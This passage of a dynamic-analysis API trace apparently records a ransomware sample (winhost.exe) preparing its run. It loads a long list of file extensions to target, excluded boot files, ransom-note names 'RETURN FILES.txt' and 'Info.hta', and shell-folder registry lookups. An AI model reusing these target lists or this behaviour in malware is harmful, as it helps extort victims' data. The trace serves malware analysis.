Size=0xa) returned 0x5fc740 [0068.354] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x5fc758 [0068.354] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xe) returned 0x5fc770 [0068.355] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x5fc788 [0068.355] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x5fc7a0 [0068.355] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x5fc7b8 [0068.355] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x5fc7d0 [0068.355] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x5fc7e8 [0068.355] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x5fc800 [0068.355] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x5fc818 [0068.355] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x5fc830 [0068.355] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5ea010 [0068.355] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x5fc870 [0068.355] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x5fc888 [0068.355] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x5fc8a0 [0068.355] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x5fc8b8 [0068.355] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x5fc8d0 [0068.355] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x5fc8e8 [0068.355] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x5fc900 [0068.355] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x5fc918 [0068.355] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x5fc930 [0068.355] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xe) returned 0x5fc948 [0068.355] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x5fc960 [0068.355] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xe) returned 0x5fc978 [0068.355] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x5fc990 [0068.355] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x5fc9a8 [0068.355] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x5fc9c0 [0068.355] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x5fc9d8 [0068.355] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x5fc9f0 [0068.355] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc) returned 0x5fca08 [0068.356] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x5fca20 [0068.356] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x5fca38 [0068.356] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x5fca50 [0068.356] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x5fca68 [0068.356] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x5fca80 [0068.356] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x5fca98 [0068.356] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x5fcab0 [0068.356] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x5fcac8 [0068.356] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x5fcae0 [0068.356] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x5fcaf8 [0068.356] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x5fcb10 [0068.356] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x5fcb28 [0068.356] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x5fcb40 [0068.356] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x5fcb58 [0068.356] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x5fcb70 [0068.356] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x5fcb88 [0068.356] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x5fcba0 [0068.356] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x5fcbb8 [0068.356] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x12) returned 0x5e5f08 [0068.356] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x5fcbd0 [0068.356] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x5fcbe8 [0068.356] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x5fcc00 [0068.356] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x5fcc18 [0068.356] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x5fcc30 [0068.357] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x5fcc70 [0068.357] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x5fcc88 [0068.357] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x5fcca0 [0068.357] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x5fccb8 [0068.357] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x5fccd0 [0068.357] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x5fcce8 [0068.357] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x5fcd00 [0068.357] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x5fcd18 [0068.357] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x5fcd30 [0068.357] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x5fcd48 [0068.357] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x5fcd60 [0068.357] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x5fcd78 [0068.357] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x5fcd90 [0068.357] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x5fcda8 [0068.357] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x5fcdc0 [0068.357] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc) returned 0x5fcdd8 [0068.357] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc) returned 0x5fcdf0 [0068.357] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc) returned 0x5fce08 [0068.357] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xe) returned 0x5fce20 [0068.358] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc) returned 0x5fce38 [0068.358] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5ea020 [0068.358] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x5fce50 [0068.358] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5ea030 [0068.358] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x5fce68 [0068.358] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x5fce80 [0068.358] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x5fce98 [0068.358] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc) returned 0x5fceb0 [0068.358] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc) returned 0x5fcec8 [0068.358] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x5fcee0 [0068.358] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc) returned 0x5fcef8 [0068.358] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x5fcf10 [0068.358] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x5fcf28 [0068.358] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc) returned 0x5fcf40 [0068.358] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x5fcf58 [0068.358] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc) returned 0x5fcf70 [0068.358] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc) returned 0x5fcf88 [0068.358] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x5fcfa0 [0068.359] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5ea040 [0068.359] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x5fcfb8 [0068.359] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x5fcfd0 [0068.359] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x5e91a0, Size=0x800) returned 0x5fd458 [0068.359] lstrlenW (lpString=".1cd;.3ds;.3fr;.3g2;.3gp;.7z;.accda;.accdb;.accdc;.accde;.accdt;.accdw;.adb;.adp;.ai;.ai3;.ai4;.ai5;.ai6;.ai7;.ai8;.anim;.arw;.as;.asa;.asc;.ascx;.asm;.asmx;.asp;.aspx;.asr;.asx;.avi;.avs;.backup;.bak;.bay;.bd;.bin;.bmp;.bz2;.c;.cdr;.cer;.cf;.cfc;.cfm;.cfml;.cfu;.chm;.cin;.class;.clx;.config;.cpp;.cr2;.crt;.crw;.cs;.css;.csv;.cub;.dae;.dat;.db;.dbf;.dbx;.dc3;.dcm;.dcr;.der;.dib;.dic;.dif;.divx;.djvu;.dng;.doc;.docm;.docx;.dot;.dotm;.dotx;.dpx;.dqy;.dsn;.dt;.dtd;.dwg;.dwt;.dx;.dxf;.edml;.efd;.elf;.emf;.emz;.epf;.eps;.epsf;.epsp;.erf;.exr;.f4v;.fido;.flm;.flv;.frm;.fxg;.geo;.gif;.grs;.gz;.h;.hdr;.hpp;.hta;.htc;.htm;.html;.icb;.ics;.iff;.inc;.indd;.ini;.iqy;.j2c;.j2k;.java;.jp2;.jpc;.jpe;.jpeg;.jpf;.jpg;.jpx;.js;.jsf;.json;.jsp;.kdc;.kmz;.kwm;.lasso;.lbi;.lgf;.lgp;.log;.m1v;.m4a;.m4v;.max;.md;.mda;.mdb;.mde;.mdf;.mdw;.mef;.mft;.mfw;.mht;.mhtml;.mka;.mkidx;.mkv;.mos;.mov;.mp3;.mp4;.mpeg;.mpg;.mpv;.mrw;.msg;.mxl;.myd;.myi;.nef;.nrw;.obj;.odb;.odc;.odm;.odp;.ods;.oft;.one;.onepkg;.onetoc2;.opt;.oqy;.orf;.p12;.p7b;.p7c;.pam;.pbm;.pct;.pcx;.pdd;.pdf;.pdp;.pef;.pem;.pff;.pfm;.pfx;.pgm;.php;.php3;.php4;.php5;.phtml;.pict;.pl;.pls;.pm;.png;.pnm;.pot;.potm;.potx;.ppa;.ppam;.ppm;.pps;.ppsm;.ppt;.pptm;.pptx;.prn;.ps;.psb;.psd;.pst;.ptx;.pub;.pwm;.pxr;.py;.qt;.r3d;.raf;.rar;.raw;.rdf;.rgbe;.rle;.rqy;.rss;.rtf;.rw2;.rwl;.safe;.sct;.sdpx;.shtm;.shtml;.slk;.sln;.sql;.sr2;.srf;.srw;.ssi;.st;.stm;.svg;.svgz;.swf;.tab;.tar;.tbb;.tbi;.tbk;.tdi;.tga;.thmx;.tif;.tiff;.tld;.torrent;.tpl;.txt;.u3d;.udl;.uxdc;.vb;.vbs;.vcs;.vda;.vdr;.vdw;.vdx;.vrp;.vsd;.vss;.vst;.vsw;.vsx;.vtm;.vtml;.vtx;.wb2;.wav;.wbm;.wbmp;.wim;.wmf;.wml;.wmv;.wpd;.wps;.x3f;.xl;.xla;.xlam;.xlk;.xlm;.xls;.xlsb;.xlsm;.xlsx;.xlt;.xltm;.xltx;.xlw;.xml;.xps;.xsd;.xsf;.xsl;.xslt;.xsn;.xtp;.xtp2;.xyze;.xz;.zip;") returned 1776 [0068.359] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5fb450 | out: hHeap=0x5b0000) returned 1 [0068.359] lstrlenW (lpString="") returned 0 [0068.360] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5fdd98 | out: hHeap=0x5b0000) returned 1 [0068.360] lstrlenW (lpString=".data") returned 5 [0068.360] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x5c4758, Size=0x8) returned 0x5c4758 [0068.360] lstrlenW (lpString=".data") returned 5 [0068.360] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5fdd98 | out: hHeap=0x5b0000) returned 1 [0068.360] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x5fddc8, Size=0x20) returned 0x5c4378 [0068.360] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x5c4378, Size=0x40) returned 0x5e6a88 [0068.360] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x5e6a88, Size=0x80) returned 0x60b458 [0068.360] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x5ea0b0, Size=0x8) returned 0x5ea0c0 [0068.360] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x5ea0c0, Size=0x10) returned 0x5fddc8 [0068.360] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x5fddc8, Size=0x20) returned 0x5c4350 [0068.360] lstrlenW (lpString="boot.ini;bootfont.bin;ntldr;ntdetect.com;io.sys;") returned 48 [0068.360] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60b458 | out: hHeap=0x5b0000) returned 1 [0068.360] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x5fddf8, Size=0x20) returned 0x5e5938 [0068.360] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x5e5938, Size=0x40) returned 0x5e6a88 [0068.360] lstrlenW (lpString="RETURN FILES.txt") returned 16 [0068.361] lstrlenW (lpString="RETURN FILES.txt") returned 16 [0068.361] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5e6a88 | out: hHeap=0x5b0000) returned 1 [0068.361] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x5fddf8, Size=0x20) returned 0x5e5938 [0068.361] lstrlenW (lpString="Info.hta") returned 8 [0068.361] lstrlenW (lpString="Info.hta") returned 8 [0068.361] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5e5938 | out: hHeap=0x5b0000) returned 1 [0068.361] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x61d448, nSize=0x7fff | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\winhost.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\winhost.exe")) returned 0x31 [0068.361] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x61d448 | out: hHeap=0x5b0000) returned 1 [0068.361] lstrlenW (lpString="winhost.exe") returned 11 [0068.361] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x5c4350, Size=0x40) returned 0x5e6a88 [0068.361] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x5fddf8, Size=0x20) returned 0x5c4350 [0068.362] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x5fddf8, Size=0x20) returned 0x5e5938 [0068.362] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x5e5938, Size=0x40) returned 0x5e6ad0 [0068.362] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x5e6ad0, Size=0x80) returned 0x60b458 [0068.362] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x60b458, Size=0x100) returned 0x5fb450 [0068.362] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0068.362] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5fb450 | out: hHeap=0x5b0000) returned 1 [0068.362] ExpandEnvironmentStringsW (in: lpSrc="%windir%;", lpDst=0x61d448, nSize=0x8000 | out: lpDst="C:\\Windows;") returned 0xc [0068.362] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x62d450 | out: hHeap=0x5b0000) returned 1 [0068.362] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x61d448 | out: hHeap=0x5b0000) returned 1 [0068.362] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x5ea0c0, Size=0x8) returned 0x5ea0b0 [0068.362] lstrlenW (lpString="%windir%;") returned 9 [0068.362] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c4350 | out: hHeap=0x5b0000) returned 1 [0068.363] lstrlenW (lpString="C:\\Windows;") returned 11 [0068.363] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d440 | out: hHeap=0x5b0000) returned 1 [0068.363] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x5fde10, Size=0x20) returned 0x5c4350 [0068.363] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x5c4350, Size=0x40) returned 0x5e6ad0 [0068.363] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x5e6ad0, Size=0x80) returned 0x60b458 [0068.363] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x60b458, Size=0x100) returned 0x5fb450 [0068.363] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x5ea0f0, Size=0x8) returned 0x5ea100 [0068.363] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x5ea100, Size=0x10) returned 0x5fde58 [0068.363] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x5fde58, Size=0x20) returned 0x5c4350 [0068.363] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x5ea0c0, Size=0x8) returned 0x5ea100 [0068.363] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x5ea0d0, Size=0x8) returned 0x5ea0c0 [0068.363] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x5ea0f0, Size=0x8) returned 0x5ea110 [0068.363] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x5ea110, Size=0x10) returned 0x5fdf00 [0068.363] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x5fdf00, Size=0x20) returned 0x5e5938 [0068.363] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x5ea100, Size=0x10) returned 0x5fdf00 [0068.363] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x5ea0c0, Size=0x10) returned 0x5fdf30 [0068.364] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x5ea100, Size=0x8) returned 0x5ea0f0 [0068.364] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x5ea120, Size=0x8) returned 0x5ea130 [0068.364] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x5fdf00, Size=0x20) returned 0x5e58e8 [0068.364] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x5fdf30, Size=0x20) returned 0x5e5848 [0068.364] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x5ea140, Size=0x8) returned 0x5ea150 [0068.364] lstrlenW (lpString="doc(.doc;.docx;.pdf;.xls;.xlsx;.ppt;)arc(.zip;.rar;.bz2;.7z;)dbf(.dbf;)1c8(.1cd;)jpg(.jpg;)") returned 91 [0068.364] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5fb450 | out: hHeap=0x5b0000) returned 1 [0068.364] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x5fdfa8, Size=0x20) returned 0x5e5960 [0068.364] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%", lpDst=0x60d440, nSize=0x7fff | out: lpDst="C:") returned 0x3 [0068.364] lstrlenW (lpString="C:\\") returned 3 [0068.364] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x18fcac, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x18fcac*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0068.365] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d440 | out: hHeap=0x5b0000) returned 1 [0068.365] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x5ea180, Size=0x82) returned 0x5fb9b8 [0068.365] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x5ea1a0, Size=0x100) returned 0x5fba48 [0068.366] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x5fb9b8, Size=0x104) returned 0x5fbc70 [0068.366] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x5fba48, Size=0x200) returned 0x5fbd80 [0068.366] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x5fbb50, Size=0x104) returned 0x5fb9b8 [0068.366] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x60b568, Size=0x100) returned 0x5fbac8 [0068.368] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5ea190 | out: hHeap=0x5b0000) returned 1 [0068.368] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5fbd80 | out: hHeap=0x5b0000) returned 1 [0068.368] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5fb5d0 | out: hHeap=0x5b0000) returned 1 [0068.368] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60b5f0 | out: hHeap=0x5b0000) returned 1 [0068.368] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5fe008 | out: hHeap=0x5b0000) returned 1 [0068.368] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60b678 | out: hHeap=0x5b0000) returned 1 [0068.368] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5fe038 | out: hHeap=0x5b0000) returned 1 [0068.368] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5fbc70 | out: hHeap=0x5b0000) returned 1 [0068.368] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5fe020 | out: hHeap=0x5b0000) returned 1 [0068.368] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5fb9b8 | out: hHeap=0x5b0000) returned 1 [0068.368] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5fb5e8 | out: hHeap=0x5b0000) returned 1 [0068.368] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5fbbe0 | out: hHeap=0x5b0000) returned 1 [0068.368] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5fb600 | out: hHeap=0x5b0000) returned 1 [0068.368] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x5fe020, Size=0x20) returned 0x5e5988 [0068.368] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x5e5988, Size=0x40) returned 0x5e6ad0 [0068.368] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5ea160 | out: hHeap=0x5b0000) returned 1 [0068.368] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5fdfa8 | out: hHeap=0x5b0000) returned 1 [0068.369] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5fb528 | out: hHeap=0x5b0000) returned 1 [0068.369] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5fdfd8 | out: hHeap=0x5b0000) returned 1 [0068.369] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5fbac8 | out: hHeap=0x5b0000) returned 1 [0068.369] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5fdfc0 | out: hHeap=0x5b0000) returned 1 [0068.369] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5ea170 | out: hHeap=0x5b0000) returned 1 [0068.369] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5fdff0 | out: hHeap=0x5b0000) returned 1 [0068.369] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5e7ed0 | out: hHeap=0x5b0000) returned 1 [0068.369] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5e6008 | out: hHeap=0x5b0000) returned 1 [0068.369] lstrlenW (lpString="%systemdrive%") returned 13 [0068.369] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5e5960 | out: hHeap=0x5b0000) returned 1 [0068.369] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60b458 | out: hHeap=0x5b0000) returned 1 [0068.369] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5ea140 | out: hHeap=0x5b0000) returned 1 [0068.369] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4091f0, lpParameter=0x5eb430, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x100 [0068.371] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10014) returned 0x60d440 [0068.371] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x5fdff0 [0068.371] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x5fdff0, Size=0x20) returned 0x5e5988 [0068.371] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x5e5988, Size=0x40) returned 0x5e6b18 [0068.371] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x5e6b18, Size=0x80) returned 0x60b458 [0068.371] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x60b458, Size=0x100) returned 0x600080 [0068.371] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x600080, Size=0x200) returned 0x5fb9b8 [0068.371] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x5fb9b8, Size=0x400) returned 0x5fb9b8 [0068.371] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x5fb9b8, Size=0x800) returned 0x5fb9b8 [0068.371] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x5fb9b8, Size=0x1000) returned 0x602068 [0068.372] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10000) returned 0x61d460 [0068.372] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x5fdff0 [0068.372] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc) returned 0x5fdfc0 [0068.372] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5ea140 [0068.372] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc) returned 0x5fdfd8 [0068.372] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5ea170 [0068.372] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x5fdfa8 [0068.372] RtlReAllocateHeap 